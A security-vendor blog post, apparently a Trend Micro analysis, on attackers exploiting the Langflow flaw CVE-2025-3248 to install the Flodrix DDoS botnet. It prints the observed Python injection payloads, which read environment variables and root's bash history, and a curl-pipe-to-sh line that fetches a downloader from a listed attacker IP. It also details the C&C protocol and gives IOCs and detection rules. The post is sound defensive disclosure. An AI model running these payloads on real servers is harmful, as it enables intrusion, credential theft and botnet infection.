- Trend™ Research 发现了一个利用 CVE-2025-3248 传播 Flodrix 僵尸网络的活跃活动。攻击者利用该漏洞在受感染的 Langflow 服务器上执行下载程序脚本,进而获取并安装 Flodrix 恶意软件。
- CVE-2025-3248 (CVSS 9.8) 是 1.3.0 之前的 Langflow 版本中的一个严重漏洞。在公共网络上使用 Langflow 1.3.0 之前的版本的组织面临严重风险,因为此漏洞正在被广泛利用。Langflow 在原型设计和部署智能自动化方面的广泛采用使易受攻击的部署成为有吸引力的目标。
- 如果漏洞被成功利用,Flodrix 僵尸网络背后的威胁行为者可能会导致整个系统受损、DDoS 攻击,并可能丢失或泄露受影响 Langflow 服务器上托管的敏感信息。
- 运行 Langflow 的组织应立即修补并升级到版本 1.3.0 或更高版本,限制对 Langflow 终端节点的公有访问,并监控与 Flodrix 僵尸网络相关的入侵指标。
- 通过可用的 Trend Vision One™ Network Security 规则和过滤器,可以保护 Trend Micro 客户免受漏洞利用企图的攻击。Trend Vision One 客户还可以访问搜寻查询、威胁洞察和威胁情报报告,以获得有关此攻击的丰富上下文和最新更新。这些保护详细信息可以在本文末尾找到。
本博客详细介绍了对一个活跃活动的研究和分析,该活动利用了未经身份验证的关键远程代码执行 (RCE) 漏洞 CVE-2025-3248,该漏洞已在 1.3.0 之前的 Langflow 版本中被发现。
Langflow 是一个由 Python 提供支持的可视化框架,用于构建具有超过 70,000 个 GitHub 星星的 AI 应用程序,其 1.3.0 之前的版本在其代码验证机制中存在允许任意代码执行的缺陷。未经身份验证的攻击者可以通过向 /api/v1/validate/code 端点构建恶意 POST 请求来利用此漏洞。
我们调查中的恶意负载被发现嵌入在 Python 函数定义的参数默认值或装饰器中。由于 Langflow 不强制执行输入验证或沙盒,因此这些有效负载在服务器的上下文中编译和执行,从而导致 RCE。
美国网络安全和基础设施安全局 (CISA) 于 2025 年 5 月 5 日将此漏洞添加到其已知利用漏洞 (KEV) 目录中。表 1 总结了我们在本博客中进一步讨论的漏洞的详细信息。
CVE 标识符 | 漏洞提示-2025-3248 |
CVSS 评分 | CVSS 评分:9.8(严重) |
向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
受影响的版本 | 1.3.0 之前的 Langflow 版本 |
漏洞类型 | 缺少身份验证、代码注入 |
冲击 | 允许未经身份验证的远程攻击者执行任意代码 |
表 1:CVE-2025-3248 漏洞详情
CVE-2025-3248 漏洞利用技术分析
根据我们的调查和命令执行时间表,网络犯罪分子首先收集了公开暴露的 Langflow 服务器的 IP 地址和端口列表,可能使用了 Shodan 或 FOFA 等工具,从而发起了攻击。
攻击者使用 https://github.com/verylazytech/CVE-2025-3248 的开源代码概念验证 (PoC) 来获取易受攻击系统上的远程 shell 访问权限。然后,攻击者在受感染的系统上运行各种侦察 bash 命令,并将结果发送回命令和控制 (C&C) 服务器。
然后,攻击者在受感染的系统上下载并执行 Flodrix 僵尸网络。一旦恶意软件成功安装并与命令和控制 (C&C) 服务器建立连接,它就可以通过 TCP 接收命令以发起各种分布式拒绝服务 (DDoS) 攻击。除非提供有效的参数,否则有效负载将终止并删除自身。
根据这些步骤,攻击者可能会分析所有易受攻击的服务器,并使用收集的数据来识别未来感染的高价值目标。在调查过程中,我们观察到 trojan downloader 脚本使用无效参数执行最终负载。结果,在初始执行并建立连接后,恶意软件终止并自行删除。此行为旨在确定哪些有效载荷在目标系统架构上成功执行,并可以启动与C&C服务器的通信。
该漏洞专门存在于 /api/v1/validate/code 端点中。此终端节点旨在验证 Python 代码片段,但无法实施适当的身份验证。它首先使用 ast.parse() 将用户提供的代码解析为抽象语法树 (AST) 来处理这些代码。随后,它使用 Python 的 compile() 函数将 AST 转换为可执行字节码,然后通过 exec();执行。
恶意负载可以嵌入到这些语法结构中。当 Langflow 的 compile() 函数处理表示具有此类嵌入式有效负载的函数的 AST 节点时,恶意代码会在服务器的上下文中执行。此作无需任何身份验证即可发生,从而允许远程攻击者提交精心编制的 POST 请求以实现 RCE。
表 2 详细介绍了我们针对 Langflow 易受攻击的端点调查的利用尝试中的特定 Python 负载。这些有效负载嵌入在函数默认参数或装饰器中,演示了各种侦测和初始访问技术。
exec(’raise Exception(__import__(\“subprocess\”).check_output(\“whoami\”, shell=True))’)
- 执行的命令:whoami
- 详细信息:标识在受感染的系统上运行 Langflow 应用程序的进程的当前用户/有效用户 ID。这是侦查中了解权限的常见第一步。
exec(’raise Exception(__import__(\“subprocess\”).check_output(\“printenv\”, shell=True))’)
- 执行的命令:printenv
- Details:转储所有环境变量。这可能会泄露敏感信息,例如 API 密钥、云凭证、数据库连接字符串或 Langflow 进程可访问的其他配置详细信息。
exec(’raise Exception(__import__(\“subprocess\”).check_output(\“cat /root/.bash_history\”, shell=True))’)
- 执行的命令:cat /root/.bash_history
- 详细信息:尝试读取 root 用户的 Bash 历史记录文件。这可能会暴露以前执行的命令,从而深入了解系统的管理、已安装的软件或潜在的错误配置。
exec(’raise Exception(__import__(\“subprocess\”).check_output(\“ip addr show\”, shell=True))’)
- 执行的命令:ip addr show
- 详细信息:显示在系统上配置的网络接口信息和 IP 地址。这对于网络侦查至关重要,可帮助攻击者映射内部网络并识别潜在目标或出口点。
exec(’raise Exception(__import__(\“subprocess\”).check_output(\“ifconfig\”, shell=True))’)
- 执行的命令:ifconfig
- 详细信息:与 ip addr show 类似,它提供有关网络接口的详细信息,包括 IP 地址、MAC 地址和网络统计信息。通常用于基本网络枚举。
exec(’raise Exception(__import__(\“subprocess\”).check_output(\“systemctl status sshd\”, shell=True))’)
- 执行的命令:systemctl status sshd
- 详细信息:检查 SSH 守护程序服务的状态。此命令用于确定 SSH 是否正在运行,这可能表明攻击者的潜在远程访问媒介
exec(’raise Exception(__import__(\“subprocess\”).check_output(\“capsh –print\”, shell=True))’)
- 执行的命令:capsh –print
- 详细信息:显示流程的当前功能。了解进程功能(例如,CAP_NET_BIND_SERVICE、CAP_SYS_PTRACE)可以帮助攻击者识别他们可以执行的进一步升级路径或特权作。
‘ exec(’raise Exception(__import__(\“subprocess\”).check_output(\“curl -s http://<IP>:<PORT>/dockersh\”, shell=True))’)
- 执行的命令:curl -s http://80.66.75.121:25565/docker | sh
- 详细信息:此命令从攻击者控制的服务器下载并执行名为 ‘docker’ 的木马下载程序脚本。
我们观察到,攻击者使用 https://github.com/verylazytech/CVE-2025-3248 的开源代码概念验证 (PoC) 与易受攻击的系统进行交互,以便在攻击过程中实现代码执行和有效负载交付。图 4 和图 5 演示了 PoC 的用法。
然后,攻击者在受感染的系统上运行各种侦察 bash 命令,并将结果发送回 C&C 服务器。
CVE-2025-3248 补丁分析
已发布 CVE-2025-3248 的安全更新,该更新包含在 Langflow 版本 1.3.0 中。它解决了 /api/v1/validate/code 端点中的身份验证漏洞,并通过向 post_validate_code 函数添加新参数 _current_user: CurrentActiveUser 来实现身份验证要求。此参数充当身份验证依赖项,在允许访问之前验证用户的身份和会话有效性。
CurrentActiveUser 依赖项检查经过身份验证的用户会话,如果用户未通过身份验证,则会触发异常。因此,此更新可确保只有授权用户才能访问 /api/v1/validate/code 端点。
当向 /api/v1/validate/code 端点发出请求时,身份验证流程开始。FastAPI 解析函数签名并检测 _current_user: CurrentActiveUser 依赖项。它立即暂停执行post_validate_code。
当 FastAPI 调用 CurrentActiveUser 的底层逻辑以满足依赖项时,会触发鉴权。此 logic 的主要职责是验证用户。它会检查传入的凭据请求,特别是查找:
- Authorization 标头中的 JWT Bearer 令牌。
- 在请求标头中提供或作为查询参数提供的 x-api-key的。
然后验证凭据,有两种可能的情况:
- 失败。如果找不到两种凭证类型,或者提供的令牌/密钥无效,则依赖项将引发 HTTPException。请求立即被拒绝,并显示 401 Unauthorized 或 403 Forbidden 错误,并且永远不会到达终端节点的代码。
- 成功。如果凭证有效,则依赖项将从数据库中检索相应的用户。
如果凭证验证成功,则会检查检索到的用户对象,以确保其 is_active 标志为 true。如果用户处于非活动状态,则进程将停止并显示另一个 HTTPException。
仅当用户成功通过身份验证并且 active 依赖项逻辑完成时,才会授予执行。FastAPI 认为依赖项“满足”,最后继续执行 post_validate_code 函数中的代码。
攻击链分析
名字 | 码头工人 |
MD5 | eaf854b9d232566e82a805e9be8b2bf2 |
SHA-1 | e367cee9e02690509b4acdf7060f1a4387d85ec7 |
SHA-256 | ec0f2960164cdcf265ed78e66476459337c03acb469b6b302e1e8ae01c35d7ec |
大小 | 700 字节 |
文件类型 | Bash 脚本 |
表 2.Bash 脚本下载器详细信息
成功利用 CVE-2025-3248 后,威胁行为者部署了一个名为“docker”的 bash shell 脚本。此脚本旨在下载和执行针对多个系统架构的 Flodrix 僵尸网络的 ELF 二进制文件。它尝试运行带有参数 _docker 的脚本 /tmp/e1x,然后检查字符串 “Upgrading Kernel..” 的输出。如果存在此字符串,则条件通过,脚本将删除下载的文件。否则,将跳过这些命令。
在我们的调查过程中,我们发现威胁行为者在同一主机上托管了不同的下载程序脚本 80[.]66[.]75[.]121 个具有相同目的的这表示正在进行积极的开发,并且多个活动正在进行中。
名字 | 迪兹 |
MD5 | 176f293dd15b9cf87ff1b8ba70d98bcf |
SHA-1 | 7823b91efceedaf0e81856c735f13ae45b494909 |
SHA-256 | 64927195d388bf6a1042c4d689bcb2c218320e2fa93a2dcc065571ade3bb3bd3 |
大小 | 5202 字节 |
文件类型 | Bash 脚本 |
表 3.下载程序变体详细信息。
如果进程 ID (PID) 大于 500,则脚本首先终止名为 “busybox”、“systemd” 和 “watchdog” 的特定进程。这种情况可能旨在避免提前启动的关键系统进程,确保脚本以动态创建的或与用户相关的进程为目标,这些进程可能会干扰其作,例如安全实用程序。
然后,它设置变量,包括 HTTP、TFTP 和 FTP 的服务器 IP 和端口,并指定与各种系统体系结构对应的多个文件名。该脚本将工作目录更改为 /tmp,删除与 e1x.* 模式匹配的任何预先存在的文件,并定义多个实用程序函数。这些函数检查 wget、curl 和 tftp 等命令是否存在,验证它们是否执行而不被终止,并确定可用于下载文件的最佳方法。
核心功能涉及 download_with_fallback 函数,该函数尝试使用各种定义的方法下载文件。如果主要方法失败,它将回退到使用辅助方法,如 wget 或 curl 的 busybox 版本,以及作为最后手段的 tftp 或 ftpget。
下载文件后,它会尝试使用 execute_file 函数执行该文件,该函数会更改文件权限以使其可执行,并检查某些输出消息以确定执行是成功还是失败。该脚本按顺序处理每个文件,尝试下载并执行,直到成功执行。
Flodrix 僵尸网络负载分析
名字 | e1x.x86_64 |
MD5 | 82d8bc51a89118e599189b759572459f |
SHA-1 | d703ec4c4d11c7a7fc2fcf4a4b8776862a3000b5 |
SHA-256 | 912573354e6ed5d744f490847b66cb63654d037ef595c147fc5a4369fef3bfee |
大小 | 86032 字节 |
文件类型 | 精灵 |
表 4.Flodrix 僵尸网络详细信息
我们的分析表明,下载的有效载荷是 LeetHozer 恶意软件家族的进化变体。此变体采用多种隐身技术,包括自我删除和伪影删除,以最大限度地减少取证痕迹并阻碍检测。它还使用字符串混淆来隐藏命令和控制 (C&C) 服务器地址和其他关键指标,使分析工作复杂化。
值得注意的是,此版本支持通过其 C&C 基础设施通过 TCP 和 UDP 通道进行双通信通道。连接后,它可以通过 TCP 接收命令,以发起各种分布式拒绝服务 (DDoS) 攻击。
此外,我们还发现了与 netlab360 团队 md5 覆盖的 LeetHozer 僵尸网络的一些相似之处:57212f7e253ecebd39ce5a8a6bd5d2df,我们将在本研究中展示异同。
执行时,恶意软件使用基于 XOR 的算法解密混淆字符串,密钥为“qE6MGAbI”,与 LeetHozer 僵尸网络使用的密钥相同。这将显示消息 “Upgrading Kernel..”,该消息会立即写入标准输出。此消息充当信号,指示成功将恶意软件二进制文件执行到恶意软件的下载程序脚本中。
接下来,恶意软件检索自己的进程 ID 并分配一个干净的内存缓冲区来处理任何提供的命令行参数。如果存在单个参数,则会将其复制到内存中并立即归零。
该恶意软件还会执行自我删除,通过引用其完整的执行路径从磁盘中删除自己的二进制文件。这些行为是反法医技术,旨在阻碍感染后分析。
在此之后,恶意软件会搜索名为“.system_idle”的隐藏文件,文件名在运行时被解密。此文件用于存储恶意软件的进程 ID (PID) 并用作跟踪器以确定恶意软件之前是否被执行过。此文件的存在表示先前的执行实例。如果找到,恶意软件将逐行读取文件,其中每行应包含一个或两个以逗号分隔的 PID。
对于识别出的每个有效 PID,恶意软件会检查相应的进程是否仍在运行。如果是,恶意软件将使用 SIGKILL 信号强制终止它。完成此作后,将删除 .system_idle 文件。此例程不仅可以防止恶意软件的重复或冲突实例运行,而且还提供自终止或清理机制,允许恶意软件谨慎地删除自己的工件。
然后,恶意软件会尝试使用随机生成的名称和参数来分叉子进程。恶意软件还通过分叉新进程来执行反调试技术,如果新进程不是子进程,它会终止父进程,从而破坏调试器。
如果恶意软件成功创建了子进程,它会继续将进程 ID 写入隐藏文件并执行其恶意活动。该恶意软件使用相同的XOR密钥解密嵌入的C&C服务器地址,并初始化与C&C的连接。
该恶意软件支持其 C&C 服务器的两个通信通道:一个通过标准 TCP,另一个通过 Tor 网络。默认情况下,它使用TCP通道与C&C服务器建立套接字连接。
然后,恶意软件试图通过端口54707连接到其中一台C&C服务器。一旦恶意软件成功连接到 C&C 服务器,它就会发送第一个 TCP 请求。
数据包具有 255 字节的固定长度,包括硬编码的 magic 字节 0x3A20、0xB042 和 0x0001。图 14 显示了数据包的结构。
校验和的计算方法是将 12 个连续的 16 位字相加,然后通过将高半部分和低半部分相加将结果折叠成 16 位。最终校验和是此折叠值的低 16 位。
在收到来自 C&C 服务器的响应后,恶意软件会分析 255 字节回复数据包的前 32 个字节。它首先检查前 4 个字节(响应标头)是否等于 0xFF0103FF。如果满足此条件,恶意软件将终止其执行并关闭套接字连接。如果不是,它会通过检查字节 4-7 是否等于 0x8931 或字节 8-11 等于 0xB043 来继续验证响应。
如果满足任一条件,则响应被视为有效。然后,恶意软件修改收到的数据包以构建第二个请求:它将字节 8-11 设置为 0x8932,将前两个字节更新为 0x3A20 而不是源端口,并分配一个新的请求编号0x0002。
然后,恶意软件发送第二个请求。恶意软件检查 C&C 是否像第一次响应一样回复了有效的响应,这次是通过检查字节 4-7 是否等于 0x4EEB 或字节 8-11 是否等于 0x8932。如果满足任一条件,则响应被视为有效,并且机器人处于活动状态并准备好接收来自 C&C 的命令。
然后,恶意软件开始发送定期检测信号请求,每个请求由一个值为 0x00 的字节组成。作为对第一次心跳的响应,C&C 服务器通常会回复 0x01,指示机器人发送它启动时使用的原始参数。如果恶意软件在没有任何参数的情况下执行,则默认情况下它会发送字符串“null”。
该恶意软件可以从其C&C服务器接收命令以发起各种DDoS攻击。在收到来自C&C的响应数据包后,恶意软件会对其进行解析以提取关键攻击参数,如攻击类型、目标IP地址、目标端口和攻击持续时间。
这些信息以结构化格式存储。结构数的计算方法是将第一个字节0x3e与第五个字节0x3f进行 XOR 运算。确定计数后,恶意软件会相应地提取和填充每个结构。每个结构都由结构 header 和 structure 值组成。结构以 0x0001 或 0x0002 开头,它们表示结构类型。
该恶意软件可以从 C&C 接收不同类型的配置。表 3 显示了找到的值及其相应的用途。
结构类型 | 0x0001 | 添加 4 个字节的零填充 | |
0x0002 | 无零字节填充 | ||
值类型 | 0x0004 | 攻击类型 | tcpraw, udpplain, 握手, tcplegit, TS3, UDP |
0x0005 | 攻击持续时间 | ||
0x0006 | 目标 IP | ||
0x000C | 目标端口 |
表 5.结构和值类型
该恶意软件可以根据从C&C收到的配置执行各种DDoS攻击。支持的 DDoS 攻击包括 tcpraw、udpplain、handshake、tcplegit、ts3 和 udp。
Flodrix 僵尸网络的显著变化
虽然我们调查的 Flodrix 僵尸网络样本与 netlab360 团队 md5 分析的变体相似:57212f7e253ecebd39ce5a8a6bd5d2df,例如字符串解密机制、XOR 密钥和流量结构,但它也呈现出明显的差异,我们将在本节中讨论。
我们观察到响应标头的变化,如图 22 所示。
新变体似乎还支持其他配置选项;然而,由于对 C&C 服务器的访问受到限制,这些配置无法完全识别。
Another significant change is the introduction of new DDoS attack types, which are now also encrypted, adding a further layer of obfuscation.
The new sample also notably enumerates the running processes by opening /proc directory to access all running processes. It iterates through the directory entries to filter out valid process identifiers (PIDs) and fetches detailed information about them, such as command names, execution paths, and command-line arguments.
Then, the malware compares the running process with specific process such as init, systemd, watchdog, busybox and /bin/busybox. Additionally, it checks if the process is running from /tmp directory. If a process matches the conditions, it sends signals to terminate it and sends a notification message starts with “KILLDETAIL|” to the C&C over port 50445 over UDP with terminated process details.
Figure 26 illustrates the notification request with process details:
The following table shows the structure if the UDP notification traffic:
KILLDETAIL|PID|PPID|SIGNAL|COMM|EXE|CWD|CMDLINE|SOCKET_COUNT | |
KILLDETAIL | Hardcoded value |
PID (Process ID) | Get from PID from /proc directory |
PPID (Parent Process ID) | Get from /proc/%d/stat file with %c %d options |
Signal (Action) | Hardcoded values. Possible values (2,3,4,5,8,9) |
COMM (Process Name) | Get from /proc/%d/comm file |
EXE (Process Executable Path) | Get from /proc/%d/exe file |
CWD (Current Working Directory) | Get from /proc/%d/cwd file |
CMDLINE(命令行) | 从 /proc/%d/cmdline 文件获取 |
插槽数量 | 从 /proc/%d/fd/%s 文件获取 |
表 6.UDP 通知请求剖析
使用 Trend Vision One™ 实现主动安全性
Trend Vision One™ 是唯一一个由 AI 驱动的企业网络安全平台,可集中管理网络风险敞口、安全运营和强大的分层保护。这种全面的方法可帮助您预测和预防威胁,从而加速整个数字资产的主动安全成果。
在数十年的网络安全领导地位和业界首个主动网络安全 AI Trend Cybertron 的支持下,它提供了经过验证的结果:勒索软件风险降低 92%,检测时间缩短 99%。安全领导者可以衡量他们的态势,并向利益相关者展示持续改进。
CVE-2025-3248 的趋势保护
Trend Micro 客户已使用以下保护措施:
Trend Vision One™ 网络安全
-
TippingPoint 入侵防护过滤器:
- 46063:TCP:Trojan.Linux.FlodrixBot.A 运行时检测
- 46064:UDP:Trojan.Linux.FlodrixBot.A 运行时检测
- 45744:HTTP:Langflow 代码注入漏洞利蒂
- 威胁发现设备 (DDI) 相关性规则:5411:CVE-2025-3248 – LANGFLOW RCE – HTTP(请求)
Trend Micro™ 威胁情报
为了领先于不断演变的威胁,Trend 客户可以访问 Trend Vision One™ Threat Insights,它提供了 Trend Research 对新出现的威胁和威胁行为者的最新见解。
Trend Vision One 威胁洞察
新兴威胁:严重 Langflow 漏洞 [CVE-2025-3248] 被积极利用以交付 Flodrix 僵尸网络
搜寻查询
Trend Vision One Search 应用程序
Trend Vision One 客户可以使用 Search App 将本博客文章中提到的恶意指标与其环境中的数据进行匹配或搜寻。
Flodrix僵尸网络的C&C连接
eventSubId:602 AND objectIp:(80.66.75.121 OR 45.61.137.226 OR 206.71.149.179 OR 188.166.68.21)
启用了 Threat Insights 权利的 Vision One 客户可以使用更多搜寻查询
发表评论
您还未登录,请先登录。
登录